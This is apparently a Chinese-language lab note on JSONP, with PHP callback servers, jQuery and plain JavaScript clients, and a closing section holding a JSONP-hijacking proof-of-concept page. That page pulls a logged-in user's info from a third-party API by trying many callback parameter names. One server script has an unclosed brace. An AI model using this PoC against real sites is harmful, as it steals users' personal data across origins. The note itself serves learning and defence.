Contents

JSONP 实验

基本信息

JSONP (JSON with Padding) 是 json 的一种”使用模式”，可以让网页从别的域名（网站）那获取资料，即跨域读取数据。

服务端

http://wp.blkstone.me/jsonp.php?jsoncallback=callback_function

响应

callback_function(["customername1","customername2", "jack3"])

jsonp.php

<?php

header('Content-type: application/json');

//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);

//json数据
$json_data = '["customername1","customername2"]';

//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";

?>

客户端

基于原始 JavaScript 的 JSONP 调用

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
    <div id="divCustomers"></div>
    <script type="text/javascript">
function callbackFunction(result, methodName)
        {
            var html = '<ul>';
            for(var i = 0; i < result.length; i++)
            {
                html += '<li>' + result[i] + '</li>';
            }
            html += '</ul>';
            document.getElementById('divCustomers').innerHTML = html;
        }
</script>
<script type="text/javascript" src="http://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

基于 jQuery 的 JSONP 调用

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>JSONP 实例</title>
    <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>    
</head>
<body>
<div id="divCustomers"></div>
<script>
$.getJSON("http://www.runoob.com/try/ajax/jsonp.php?jsoncallback=?", function(data) {

    var html = '<ul>';
    for(var i = 0; i < data.length; i++)
    {
        html += '<li>' + data[i] + '</li>';
    }
    html += '</ul>';

    $('#divCustomers').html(html); 
});
</script>
</body>
</html>

服务端 #2

<?php

header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
$json_data = '["customername1","customername2", "jack3"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
echo "\n<br>\n";
foreach (getallheaders() as $name => $value) {
        echo "$name: $value\n";

?>

跨域请求

<script>
$.getJSON("http://wp.blkstone.me/jsonp.php?jsoncallback=?", function(data) {

    var html = '<ul>';
    for(var i = 0; i < data.length; i++)
    {
        html += '<li>' + data[i] + '</li>';
    }
    html += '</ul>';

    $('#divCustomers').html(html); 
});
</script>

漏洞利用实例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>3rd Web JSONP PoC</title>
</head>
<body>
<div id="here"></div>


<script type="text/javascript">
    function forjsonptestcallback(result) {
        console.log(result);
        let html = '<table>\n' +
            '  <thead><tr><th colspan="2">User Info</th></tr></thead>\n' +
            '    <tbody>';
        for (let key in result) {
            html += '<tr><td>' + key + '</td><td>' + result[key] + '</td></tr>';

            if (key === 'data') {
                for (let subkey in result[key]) {
                    html += '<tr><td>' + subkey + '</td><td>' + result[key][subkey] + '</td></tr>';
                }
            }
        }

        let tail = '</tbody></table>'
        html += tail;
        let temp = document.getElementById('here').innerHTML;

        document.getElementById('here').innerHTML = temp + html + "<br><h1>-----------------</h1><br>";
    }
</script>

<script type="text/javascript"
        src="https://www.example.com/api/org/84/user/get?callback=forjsonptestcallback&jsonp=forjsonptestjsonp&successCallback=forjsonptestsuccessCallback&Callback=forjsonptestCallback&Jsonp=forjsonptestJsonp&cb=forjsonptestcb&jsonpCallback=forjsonptestjsonpCallback"></script>

</body>
</html>

漏洞利用案例

默安科技挖掘了大量微博、腾讯、百度等的 JSONP 信息的跨域漏洞。将这些漏洞集成在 WAF 产品中，用于反向溯源黑客。
假如黑客在攻击受保护的网站的同时，在同一个浏览器中登录了其他社交网站的账户，即可被反向溯源。

参考资料

JSONP跨域漏洞总结
https://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

#JavaScript

JSONP 简易实验